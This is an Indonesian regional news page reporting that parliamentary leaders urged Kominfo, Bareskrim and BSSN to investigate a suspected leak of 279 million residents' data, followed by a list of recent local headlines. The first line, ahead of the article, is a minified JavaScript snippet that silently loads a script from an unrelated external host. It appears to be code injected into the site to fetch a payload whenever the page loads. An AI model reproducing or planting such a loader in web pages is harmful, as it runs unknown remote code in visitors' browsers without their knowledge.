(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

Kominfo dan Bareskrim Didesak Investigasi Kebocoran 279 Juta Data Penduduk


KANALKALIMANTAN.COM – Kementerian Komunikasi dan Informatika, Bareskrim Polri serta Badan Siber dan Sandi Negara didesak menginvestigasi secara tuntas dugaan kebocoran data 279 juta penduduk Indonesia.

Ketua MPR Bambang Soesatyo mengingatkan dugaan kebocoran data bukan persoalan kecil. Kebeocoran data itu ditengarai berasal dari data peserta jaminan sosial kesehatan yang dikelola BPJS Kesehatan.

“Kebocoran data tersebut bukan persoalan main-main, bukan juga persoalan kecil. Melainkan sangat serius. Karena di era teknologi informasi saat ini, data merupakan kekayaan nasional yang patut dijaga,” kata Bamsoet, Jumat (21/5/2021).

Politikus yang akarab disapa Bamsoet berujar kedaulatan terhadap data, menunjukan kedaulatan sebuah bangsa. Bahkan, kata dia Presiden Joko Widodo pernah menegaskan bahwa data lebih berharga dari minyak.

Baca juga : Dari Panggung New York Fashion Week, Vivi Zubedi Ngurusi “Warung Ummat” hingga “Dauroh Janaiz” di Banjarbaru

Selain ada kepentingan ekonomi yang tidak proper, kebocoran data juga menyangkut keamanan privasi warga negara Indonesia dan kelemahan perangkat hukum cyber security milik Indonesia.

“Selain kejadian tersebut, tren kejahatan siber juga semakin meningkat. Berdasarkan laporan kepolisian hingga November 2020, terjadi setidaknya 4.250 laporan kejahatan siber. Di tahun 2019, jumlahnya bahkan mencapai 4.586 laporan, dan di tahun 2018 sekitar 4.360 laporan,” ujar Bamsoet.

Keterlibatan aparat penegak hukum untuk mengusut dugaan kebocoran data itu juga diminta Wakil Ketua DPR Sufmi Dasco Ahmad. Ia meminta aparat bertindak cepat, guna mencegah jatuhnya kerahasiaan data privasi ke pihak yang tidak berwenang.

Baca juga : Mengapa Amerika Serikat Dijuluki Negara Paman Sam?

“Karena itu saya minta segera aparat penegak hukum untuk melakulan penyelidikan dan melalukan tindakan preventif secepatnya agar hal tersebut tidak merugikan masyarakat banyak,” ujar Dasco.(suara.com)

 

 


Al Ghifari

Recent Posts

Hadiri Halalbihalal Bersama Potensi Kesejahteraan Sosial, Bupati Banjar Dapat Kejutan

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur mendapat kejutan berupa ucapan selamat ulang tahun… Read More

58 menit ago

Puluhan Calon PPK di Banjarbaru Ikuti Tes Tertulis

KANALKALIMANTAN.COM, BANJARBARU - Puluhan orang calon Panitia Pemilihan Kecamatan (PPK) untuk Pilkada 2024 di Kota… Read More

1 jam ago

Diskominfo Banjarbaru Gelar Bimtek Sistem Informasi Publik

KANALKALIMANTAN.COM, BANJARBARU - Dinas Komunikasi dan Informatika (Diskominfo) Kota Banjarbaru menggelar bimbingan teknis Sistem Informasi… Read More

2 jam ago

Helpdesk Pilkada 2024 Dibuka, Tidak Ada Paslon Perseorangan ke KPU Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Persiapan pencalonan bakal pasangam calon (Paslon) melalui jalur dukungan perseorangan telah dibuka… Read More

5 jam ago

Dapat Lima Paket Sabu dari Kenalan, Lelaki di Banjarmasin Diringkus Polisi

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Reskrim Polsek Banjarmasin Timur menangkap seorang lelaki inisial AH (48) karena… Read More

5 jam ago

Ada Pungli di Kawasan Candi Agung Amuntai, Polisi Turun ke Lokasi

KANALKALIMANTAN.COM, AMUNTAI - Obyek wisata situs Candi Agung Amuntai kerap dikunjungi wisatawan dari dalam maupun… Read More

6 jam ago

This website uses cookies.